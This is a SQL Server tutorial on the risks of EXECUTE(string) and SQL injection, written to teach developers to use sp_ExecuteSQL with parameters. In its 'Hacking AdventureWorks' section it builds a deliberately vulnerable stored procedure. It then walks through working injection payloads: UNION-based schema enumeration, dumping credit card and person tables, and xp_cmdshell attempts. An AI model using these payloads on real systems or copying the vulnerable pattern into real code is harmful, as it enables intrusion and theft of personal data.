The risks of using EXECUTE (‘SQL Script’)
SQL Prompt’s code analysis rule, BP013, will alert you to use of Execute(string) to execute a batch in a string, often assembled dynamically from user input. This technique is dangerous because the parameter values are injected before the statement is parsed by SQL Server, allowing an attacker to "tag on" extra statements. Use sp_ExecuteSql instead, and validate the string inputs.
Using dynamic SQL is unavoidable at times, but it is reckless to execute dynamic SQL that is created directly from strings that include values that change at execution time. It can allow SQL Injection and it is also inefficient.
SQL Prompt’s code analysis rule, BP013 will alert you to use of Execute(<string>), to execute a batch in a string, often assembled dynamically from user input. Use of this command is particularly suspect because it doesn’t allow you to parameterize values.
Even if you have full control and oversight over the values that can be submitted and are certain they could never come from an end user, it is still much better to parameterize the inputs, using the sp_ExecuteSQL <string> stored procedure. This is not only more secure, but also helps the query optimiser to realize that the SQL batch you want to execute is parameterized and therefore amenable to a reusable plan.
Both the EXECUTE command and sp_ExecuteSQL procedure execute a batch, not just a query. So, even if you’re using sp_ExecuteSQL, it is easy to carelessly introduce a vulnerability to SQL Injection into stored procedures. If you injudiciously concatenate SQL with a parameter, it will still allow a malicious user to introduce input that adds extra statements into that batch.
SQL Injection vulnerabilities
Imagine that an AdventureWorks developer sees this SQL and thinks ‘Aha’, I can provide any list as a parameter.
|
1 |
SELECT * FROM person.person WHERE lastname IN ( 'Goldberg', 'Erickson', 'Walters' ); |
Fine, so within a stored procedure he assembles the code dynamically
|
1 2 |
DECLARE @MyList NVARCHAR(50) = '''Goldberg'',''Erickson'',''Walters'''; EXECUTE ('SELECT * from person.person where lastname in (' + @MyList + ')'); |
So now, he can supply any list of peoples’ last names and get a result. However, reality soon strikes when the code reviewer points out the horrid possibilities:
|
1 2 |
DECLARE @MyList NVARCHAR(50)='''factor'') Select * from sales.creditcard --' EXECUTE ('SELECT * from person.person where lastname in ('+@myList+')') |
Surely, though, this is a bit academic, you might think, because SQL Injection is all about unparameterized queries in the application. Well, no; it isn’t just the application that can introduce the vulnerabilities. The application can parametrise a call to a stored procedure correctly and if the vulnerability is in the stored procedure itself an exploit can be successful. This is much easier to explain via a demonstration.
Hacking AdventureWorks
Let’s imagine that AdventureWorks creates a new website and the devs want a product search screen where the user types in a search term, and all the products that are relevant appear in a list. Yes, it seems reasonable.
A developer who is new to databases is assigned the task. The website has a pooled connection in the name of a user called WebUser. The team are careful and make sure WebUser has no access to any sensitive information on the website. It can access only the stored procedures on the website that deal specifically with WebUser’s requests. These stored procedures run in the context of the current owner of the module, to access a restricted portion of the data in a small number of base tables. This is done to allow a user such as WebUser to access the to the required data without being able to access to any table directly. This effectively prevents any SQL Injection from the application from accessing anything other than the procedures or functions in the interface. Some database designers prefer to use users without logins to provide this service.
So far, so good.
After creating a procedure and asking a database developer to install it into the database, the developer then, in the application, carefully parameterizes the call to the stored procedure to ensure that there won’t be any SQL Injection from the application.
Here is the procedure. The comments are mine, of course. I wouldn’t want anyone to think that this is good practice. All the sensible precautions described above will be undone by the use of EXECUTE(<string>).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/* we will now create a procedure that not only uses EXECUTE but also fails to check the contents of the string parameter passed to it*/ IF Object_Id('dbo.SelectProductModel') IS NOT NULL DROP procedure dbo.SelectProductModel; GO CREATE PROCEDURE dbo.SelectProductModel @queryString VARCHAR(255) WITH EXECUTE AS OWNER --to execute as the login who created this procedure AS--health warning!!! This is a demonstration of how not to do it EXECUTE ( 'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE ( name+summary LIKE ''%'+ @queryString+'%'' )') GO--health warning!!! This is a demonstration of how not to do it |
There are occasional good reasons for using dynamically-executed code, but these almost always involve parameters. In this case, the developer needed to use sp_ExecuteSql. On top of that, all parameters should be passed to it using the correct convention. In this example the use of dynamic SQL was unnecessary, but if it had been, it should have been done like this.
|
1 2 3 4 5 6 7 8 9 10 11 |
IF Object_Id('dbo.SelectProductModel2') IS NOT NULL DROP procedure dbo.SelectProductModel2; GO CREATE PROCEDURE dbo.SelectProductModel2 @queryString VARCHAR(255) WITH EXECUTE AS owner AS EXECUTE sp_ExecuteSQL N'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE (name+summary LIKE ''%''+@search+''%'')',N'@search Varchar(20)',@search=@QueryString GO |
You can try this version in the following examples to prove it to yourself. I would add some parameter validation too, because I like to sleep soundly at night. There are phrases that a customer would want to search about bikes, but that doesn’t include, ‘–‘, for example.
Now, in order to illustrate it, I should make you, the reader, set up a website with a search form and a grid to display the results. Instead, we will simulate this in SSMS, so you can play along and try things out.
Having set up the evil procedure we create the website user with no permissions to do anything. Then we execute as that user and see how far we can get through a conspicuous data breach.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER Webuser; -- We need to execute some of the following code with the restricted access rights of a -- typical web user that has only access rights to the stored procedure that accesses -- the table We then run part of the script as that user. CREATE USER WebUser WITHOUT LOGIN; /* we now assign it permission to call the stored procedure. It has no choice because this is being done in middleware on the web server. Every attempt to break into the database has to be done merely by changing the search term for Adventureworks bicycles. */ GRANT EXECUTE ON OBJECT::dbo.SelectProductModel TO WebUser; GRANT EXECUTE ON OBJECT::dbo.SelectProductModel2 TO WebUser; execute as user = 'WebUser' /* now we are working as WebUser. */ |
You have to imagine that I’m an external intruder, executing this from a website, rather than SSMS (if I have access to that, I’m already home and dry). I have to put a search term into a web form and study the results. I know nothing about this database. I am helped because errors are displayed, and I can see results on the website results grid. Even without the errors, I would only be slightly inhibited, as one can judge a lot from the response time.
My first objective is to find out the names of the tables and their schemas. If I don’t know them, there is a lot of trial and error that can take a long time and much patience. I then need to know the columns and datatypes. If I can find a way of doing all that, then I’m on the home straight.
Let’s start.
|
1 |
Execute dbo.SelectProductModel 'light' |
It seems to work. Let’s check to see if this is properly parameterized by adding an expression. I, as ‘WebUser‘, wonder if the ‘always true’ trick works. I key into the Web page ‘light” or 1=1 –‘ for the search term:
|
1 2 |
EXECUTE dbo.SelectProductModel 'light'' or 1=1 --' /* Msg 102, Level 15, State 1, Line 59 Incorrect syntax near '1'*/ |
The server-side error certainly suggests that the vulnerability exists. Do I need to add a bracket?
|
1 |
EXECUTE dbo.SelectProductModel 'light'') or 1=1 --' |
This listed out all the product models. If you use the second version of the procedure, SelectProductModel2, the query returns no products because it will search for the string 'light') or 1=1 –- which isn’t there at all.
|
1 2 3 4 5 |
/* Can I do the union all trick? */ --I don't know the names of any tables so I'll use functions EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT db_name(), @@Servername,User_Name(), ORIGINAL_LOGIN( ) , session_user,'''' --' |
|
1 2 3 4 5 |
/* well that works and tells me that all columns are strings because I got no error in the UNION. Within the stored procedure, I'm A DBO!!! */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(object_id), name, '''','''','''','''' from sys.tables --' |
|
1 2 3 4 5 |
/* some interesting tables. I like that CreditCard table. This saves me a lot of time Where are the credit cards? */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,'''','''','''' FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''creditcard'' --' |
|
1 2 3 4 5 |
/* this is taking candy from a baby. We know the columns and table now! List out the credit cards on the website grid and over to the dark side */ EXECUTE dbo.SelectProductModel 'ffff'') union all Select CreditCardID,CardType,CardNumber,ExpMonth,ExpYear,ModifiedDate from Sales.Creditcard --' |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/* Can I use xp_cmdshell? */ EXECUTE dbo.SelectProductModel 'ffff''); Execute xp_cmdshell ''dir *.*'' --' /* No. maybe I can reconfigure */ EXECUTE dbo.SelectProductModel 'ffff''); execute sp_configure ''show advanced options'',1;reconfigure with override --' /* Msg 15247, Level 16, State 1, Procedure sp_configure, Line 105 [Batch Start Line 96] User does not have permission to perform this action. Msg 5812, Level 14, State 1, Line 100 You do not have permission to run the RECONFIGURE statement*/ |
Never mind. I can still get the payload out via the website. Now I’ve got the credit cards, I’ll go for that person.person table. Something is telling me that there is personal data there. Let’s study what is in that table.
|
1 2 3 |
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,is_nullable,max_length,system_type_id FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''person'' --' |
I think, judging from this data, that I can extract that in one go if I join columns together.
|
1 2 3 |
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT persontype,BusinessEntityID,Coalesce(Title+'' '','''')+FirstName+'' ''+Coalesce(MiddleName+'' '','''')+LastName+Coalesce('' ''+Suffix,''''),EmailPromotion,AdditionalContactInfo,Demographics FROM person.person --' |
To cut a long story short, the entire personal details and sales of AdventureWorks is now on its way to the dark web. Sure, it is laborious because I’d be getting the payload via the POST on the website, and probably having to reassemble the data from bits, but even a small breach is damaging!
Finally, tidy up
|
1 2 3 4 5 6 7 |
SELECT USER_NAME(); REVERT; SELECT USER_NAME(); IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER WebUser; IF OBJECT_ID('dbo.SelectProductModel') IS NOT NULL DROP PROCEDURE dbo.SelectProductModel; |
Conclusion
There is nothing essentially wrong with the technique of executing strings as SQL batches. However, it is a hard-hat area of programming. It can be dangerous if you don’t parametrize the values you put in that string. Sometimes, because of the vagaries of SQL Syntax, you just can’t do it, and there isn’t a way around it, in which case you need to take all necessary precautions to validate the inputs. For this reason, it is a good idea to discourage the use of Execute(<string>) because it has no means of parameterizing its inputs, and to check the use of sp_ExecuteSQL to make sure that all suitable precautions have been taking to prevent SQL Injection.
Tools in this post
You may also like
-
Article
SQL Prompt by Keyboard
Phil Factor shares a handy keyboard shortcut diagram that reveals some of the most useful of Prompt's keyboard shortcuts, and a wallchart showing every piece of Prompt functionality, what it does, where to find it in the various menus, and of course its keyboard shortcut.
-
Article
Driving up database coding standards using SQL Prompt
A strategic view of how a development team can use SQL Prompt to establish and share coding standards, through code analysis rules, formatting styles and code snippets.
-
Article
Finding Correlated Rows Using EXISTS or COUNT
Should you always use
EXISTSrather thanCOUNTwhen checking for the existence of any correlating rows that match your criteria? Does the former really offer "superior performance and readability". Louis Davidson investigates. -
Article
SQL Prompt Safety Net Features for SSMS: Tab Coloring
The Tab Coloring component of SQL Prompt’s SSMS Tab management could save you from accidentally doing something apocalyptic on a production server, ever again.
-
